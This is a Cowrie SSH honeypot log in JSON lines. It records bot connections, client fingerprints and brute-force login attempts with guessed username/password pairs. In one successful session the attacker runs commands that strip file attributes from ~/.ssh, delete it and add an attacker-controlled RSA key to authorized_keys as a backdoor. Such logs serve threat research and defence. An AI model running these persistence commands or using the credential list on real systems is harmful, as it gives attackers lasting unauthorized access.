{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:44.360538Z","src_ip":"213.209.159.158","session":"82cbe3ce9b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15498,"dst_ip":"159.203.135.109","dst_port":22,"session":"876e7b92e3c9","protocol":"ssh","message":"New connection: 213.209.159.158:15498 (159.203.135.109:22) [session: 876e7b92e3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:44.441918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:45.696048Z","src_ip":"213.209.159.158","session":"876e7b92e3c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:45.700049Z","src_ip":"213.209.159.158","session":"876e7b92e3c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":46302,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3c01ab40b9c","protocol":"ssh","message":"New connection: 103.154.241.42:46302 (159.203.135.109:22) [session: a3c01ab40b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:47.143512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:47.148856Z","src_ip":"103.154.241.42","session":"a3c01ab40b9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:47.397331Z","src_ip":"103.154.241.42","session":"a3c01ab40b9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter123!","message":"login attempt [peter/peter123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:48.423320Z","src_ip":"103.154.241.42","session":"a3c01ab40b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:49.675635Z","src_ip":"103.154.241.42","session":"a3c01ab40b9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":39628,"dst_ip":"159.203.135.109","dst_port":22,"session":"eab18a691e3f","protocol":"ssh","message":"New connection: 102.210.148.92:39628 (159.203.135.109:22) [session: eab18a691e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:51.103846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:51.109396Z","src_ip":"102.210.148.92","session":"eab18a691e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome6","message":"login attempt [root/welcome6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:51.224323Z","src_ip":"213.209.159.158","session":"876e7b92e3c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:51.348231Z","src_ip":"102.210.148.92","session":"eab18a691e3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"gmod","message":"login attempt [gmodserver/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:52.334279Z","src_ip":"102.210.148.92","session":"eab18a691e3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:53.581500Z","src_ip":"102.210.148.92","session":"eab18a691e3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:53.851367Z","src_ip":"213.209.159.158","session":"876e7b92e3c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24884,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75ca4733def","protocol":"ssh","message":"New connection: 213.209.159.158:24884 (159.203.135.109:22) [session: e75ca4733def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:53.932339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:55.270960Z","src_ip":"213.209.159.158","session":"e75ca4733def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:26:55.275179Z","src_ip":"213.209.159.158","session":"e75ca4733def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":33288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1517c7b9cb8","protocol":"ssh","message":"New connection: 78.44.192.210:33288 (10.17.0.5:22) [session: a1517c7b9cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:00.168429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:00.174499Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:00.284863Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Passw0rd","message":"login attempt [oracle/Passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:00.761812Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Www2018","message":"login attempt [root/Www2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:00.831652Z","src_ip":"213.209.159.158","session":"e75ca4733def","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.044130Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.050566Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.057222Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.273828Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.450734Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.454708Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.566522Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.572891Z","src_ip":"78.44.192.210","session":"a1517c7b9cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":49302,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cbbb3476684","protocol":"ssh","message":"New connection: 78.44.192.210:49302 (10.17.0.5:22) [session: 9cbbb3476684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.729908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.735212Z","src_ip":"78.44.192.210","session":"9cbbb3476684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.170.111","src_port":42370,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b65bb38f53c","protocol":"ssh","message":"New connection: 180.76.170.111:42370 (10.17.0.5:22) [session: 8b65bb38f53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.764475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.770216Z","src_ip":"180.76.170.111","session":"8b65bb38f53c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:01.847948Z","src_ip":"78.44.192.210","session":"9cbbb3476684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:02.025291Z","src_ip":"180.76.170.111","session":"8b65bb38f53c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:02.327417Z","src_ip":"78.44.192.210","session":"9cbbb3476684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:03.148021Z","src_ip":"213.209.159.158","session":"e75ca4733def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32898,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d7b7b5dce5e","protocol":"ssh","message":"New connection: 213.209.159.158:32898 (159.203.135.109:22) [session: 7d7b7b5dce5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:03.227974Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:03.444026Z","src_ip":"78.44.192.210","session":"9cbbb3476684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":49312,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4e2909631a","protocol":"ssh","message":"New connection: 78.44.192.210:49312 (10.17.0.5:22) [session: bc4e2909631a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:27:03.578583Z"}
